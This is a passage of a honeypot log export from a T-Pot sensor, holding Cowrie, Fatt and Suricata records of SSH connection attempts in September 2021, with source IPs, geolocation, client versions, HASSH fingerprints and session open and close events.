"Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1888614890729645, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 34592, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.127149Z", "@timestamp": "2021-09-20T11:08:29.127Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24240	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:29.757844+03	2021-09-20 14:15:08.527472+03	{"_id": "bgbkAnwBvYTbRNuEoBHz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34592, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.757844", "@timestamp": "2021-09-20T11:08:29.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24241	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:29.408152+03	2021-09-20 14:15:08.528471+03	{"_id": "cQbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34592 (192.168.176.2:22) [session: 209237faf1a6]", "session": "209237faf1a6", "@version": "1", "protocol": "ssh", "src_port": 34592, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.408152Z", "@timestamp": "2021-09-20T11:08:29.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24242	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.667179+03	2021-09-20 14:15:08.529471+03	{"_id": "cgbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:38000 (192.168.176.2:22) [session: 722ab1fe3887]", "session": "722ab1fe3887", "@version": "1", "protocol": "ssh", "src_port": 38000, "dest_port": 22, "timestamp": "2021-09-20T11:08:29.667179Z", "@timestamp": "2021-09-20T11:08:29.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24245	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.696696+03	2021-09-20 14:15:08.533469+03	{"_id": "igbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "82de426fe8de", "@version": "1", "duration": 2.882009267807007, "timestamp": "2021-09-20T11:08:29.696696Z", "@timestamp": "2021-09-20T11:08:29.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24246	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:29.758594+03	2021-09-20 14:15:08.534471+03	{"_id": "iwbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "209237faf1a6", "@version": "1", "timestamp": "2021-09-20T11:08:29.758594Z", "@timestamp": "2021-09-20T11:08:29.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24247	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.807335+03	2021-09-20 14:15:08.53747+03	{"_id": "jAbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "20f4e4fe5785", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:29.807335Z", "@timestamp": "2021-09-20T11:08:29.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24248	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.847107+03	2021-09-20 14:15:08.538471+03	{"_id": "jQbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7bf7f45872e1", "@version": "1", "duration": 2.8825395107269287, "timestamp": "2021-09-20T11:08:29.847107Z", "@timestamp": "2021-09-20T11:08:29.847Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24249	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.874758+03	2021-09-20 14:15:08.539471+03	{"_id": "jgbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f5ecae34b6bd", "@version": "1", "duration": 3.048959732055664, "timestamp": "2021-09-20T11:08:29.874758Z", "@timestamp": "2021-09-20T11:08:29.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24250	176.122.188.154	109.199.241.180	Cowrie	2021-09-20 14:08:29.946947+03	2021-09-20 14:15:08.54147+03	{"_id": "jwbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "176.122.188.154", "asn": 41018, "as_org": "Omnilance Ltd", "dma_code": 803, "latitude": 34.0549, "location": {"lat": 34.0549, "lon": -118.2578}, "timezone": "America/Los_Angeles", "city_name": "Los Angeles", "longitude": -118.2578, "postal_code": "90014", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "176.122.188.154", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "8104c532e8e7", "@version": "1", "duration": 2.153712749481201, "timestamp": "2021-09-20T11:08:29.946947Z", "@timestamp": "2021-09-20T11:08:29.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24251	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:29.974398+03	2021-09-20 14:15:08.54247+03	{"_id": "kAbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "722ab1fe3887", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:29.974398Z", "@timestamp": "2021-09-20T11:08:29.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24252	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:30.035296+03	2021-09-20 14:15:08.54347+03	{"_id": "kQbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "20f4e4fe5785", "@version": "1", "timestamp": "2021-09-20T11:08:30.035296Z", "@timestamp": "2021-09-20T11:08:30.035Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24253	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:30.0773+03	2021-09-20 14:15:08.54447+03	{"_id": "kgbkAnwBvYTbRNuEoRGe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "722ab1fe3887", "@version": "1", "timestamp": "2021-09-20T11:08:30.077300Z", "@timestamp": "2021-09-20T11:08:30.077Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 